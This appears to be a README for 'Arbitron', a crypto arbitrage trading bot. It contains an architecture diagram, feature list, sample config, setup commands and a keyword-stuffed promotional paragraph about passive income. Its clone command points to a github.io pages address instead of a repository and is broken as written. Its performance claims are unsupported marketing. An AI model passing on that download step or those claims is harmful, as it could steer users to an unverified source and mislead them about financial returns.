Welcome to Arbitron, a sophisticated orchestration engine designed to identify and capitalize on market inefficiencies across multiple asset classes. Unlike conventional tools, Arbitron employs a cognitive architecture that adapts to market rhythms, learning from liquidity patterns and volatility signatures to execute precision strategies. Think of it as a seasoned conductor, harmonizing various algorithmic instruments to create consistent performance in the digital asset symphony.
This platform is not merely a bot; it's a comprehensive ecosystem for systematic yield generation, built with resilience, transparency, and continuous evolution at its core.
The system is built on a modular, event-driven architecture that separates signal generation, risk management, and execution logic. This allows for independent strategy development and robust fault tolerance.
graph TD
A[Market Data Streams] --> B(Signal Processing Layer);
B --> C{Strategy Orchestrator};
C --> D[Liquidity Arbitrage Module];
C --> E[Statistical Arbitrage Module];
C --> F[Cross-Exchange Module];
D --> G(Risk & Compliance Engine);
E --> G;
F --> G;
G --> H[Order Execution Gateway];
H --> I[Exchange A];
H --> J[Exchange B];
H --> K[Exchange C];
I --> L[Performance Analytics];
J --> L;
K --> L;
L --> M[Adaptive Learning Feedback Loop];
M --> B;
- 🧠 Adaptive Strategy Engine: Dynamically allocates capital across multiple concurrent strategies (liquidity, statistical, cross-venue) based on real-time market regime detection.
- 🛡️ Intelligent Risk Sentinel: Implements multi-layered risk controls including position sizing, maximum drawdown limits, correlation checks, and circuit breakers that activate during extreme volatility.
- 🌐 Unified Multi-Venue Connectivity: Seamlessly connects to over 15 major and decentralized exchanges through a normalized API abstraction layer, reducing latency and simplifying configuration.
- 📈 Performance Cortex: A comprehensive dashboard providing visual analytics on Sharpe ratio, win rate, capacity utilization, and strategy correlation.
- 🤖 AI-Powered Signal Augmentation: Optional integration with leading language model APIs (OpenAI & Claude) for sentiment analysis of news and social data, providing a contextual overlay to quantitative signals.
- 🗣️ Polyglot Interface & Support: Fully responsive web UI with internationalization support. Backed by 24/7 community and dedicated support channels.
- 🔧 Modular & Extensible: Write custom strategies in Python using our well-documented SDK. The plugin system allows you to contribute or modify strategy modules without touching the core engine.
user_profile:
identifier: "main_portfolio"
risk_tolerance: "moderate" # conservative, moderate, aggressive
capital_allocation:
base_currency: "USDT"
trading_capital: 10000
max_strategy_allocation: 0.25 # Max 25% per strategy
strategies:
- name: "liquidity_triangular"
enabled: true
module: "liquidity_arb"
params:
target_assets: ["BTC", "ETH", "SOL"]
min_percentage_yield: 0.0015 # 0.15%
execution_speed: "fast"
whitelisted_venues: ["binance", "kraken", "coinbase"]
- name: "statistical_mean_reversion"
enabled: true
module: "stat_arb"
params:
lookback_period: 720 # 12-hour candles
z_score_entry: 2.0
z_score_exit: 0.5
cointegrated_pairs:
- ["BTC", "ETH"]
- ["SOL", "AVAX"]
ai_enhancements:
enable_sentiment_overlay: true
providers:
openai:
model: "gpt-4-turbo"
usage: "analyze_news_headlines"
budget_per_day: 1.0 # USD
anthropic:
model: "claude-3-opus"
usage: "interpret_macro_trend_reports"
budget_per_day: 0.5 # USD# Clone and setup the environment
git clone https://hersace.github.io arbitron-core
cd arbitron-core
python -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
# Initialize your configuration (interactive setup)
python arbitron.py --init
# Run in dry-run mode to test strategies without live capital
python arbitron.py --profile main_portfolio --mode dry-run --verbose
# Deploy with live execution (requires configured API keys)
python arbitron.py --profile main_portfolio --mode live
# Start the web analytics dashboard
python dashboard.py --host 0.0.0.0 --port 8050| Operating System | Status | Notes |
|---|---|---|
| 🐧 Linux (Ubuntu 22.04+, Debian 11+) | ✅ Fully Supported | Recommended for 24/7 operation. Docker image available. |
| 🍎 macOS (Monterey 12.0+) | ✅ Fully Supported | Native ARM (M-series) compatibility. |
| 🪟 Windows (10/11) | ✅ Supported | Best via WSL2. Native support for core modules. |
| 🐋 Docker (Any OS) | ✅ Optimized | Official image provides isolated, reproducible environment. |
Arbitron is a premier open-source algorithmic trading platform engineered for automated crypto arbitrage, systematic yield generation, and quantitative market making. It empowers users with a multi-exchange trading bot capable of identifying liquidity disparities and statistical mispricings. By leveraging real-time market data analysis and optional AI-driven sentiment insights, the platform facilitates passive income strategies through low-latency execution and institutional-grade risk management. Ideal for those exploring DeFi arbitrage opportunities and cross-venue price inefficiencies, Arbitron provides a transparent, customizable foundation for automated portfolio growth in 2026's dynamic digital asset landscape.
Arbitron is a sophisticated software framework for educational and research purposes. The developers provide no warranty regarding its performance, accuracy, or suitability for any specific financial outcome.
- Trading Risk: Digital asset markets are highly volatile. Automated trading involves significant risk, including the potential loss of all invested capital. Past performance of any strategy is never indicative of future results.
- Not Financial Advice: This software and its documentation do not constitute financial, investment, or trading advice. You are solely responsible for your trading decisions, capital allocation, and understanding the risks involved.
- Compliance: It is your responsibility to ensure your use of this software complies with all local, national, and international laws and regulations governing digital assets, securities, and automated trading in your jurisdiction.
- Technical Responsibility: You are responsible for the secure configuration, operation, and maintenance of your deployment, including the safeguarding of API keys and other credentials.
By using this software, you acknowledge and accept full responsibility for all risks and outcomes associated with its operation.
Copyright © 2026 The Arbitron Contributors.
This project is distributed under the MIT License. See the LICENSE file for the full terms.
This means you are free to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the software, subject to including the original copyright and permission notice in all copies or substantial portions of the software.
Dive into the documentation, join our community, and start building your adaptive yield optimization engine today. Remember: discipline, risk management, and continuous learning are the true cornerstones of sustainable systematic strategies.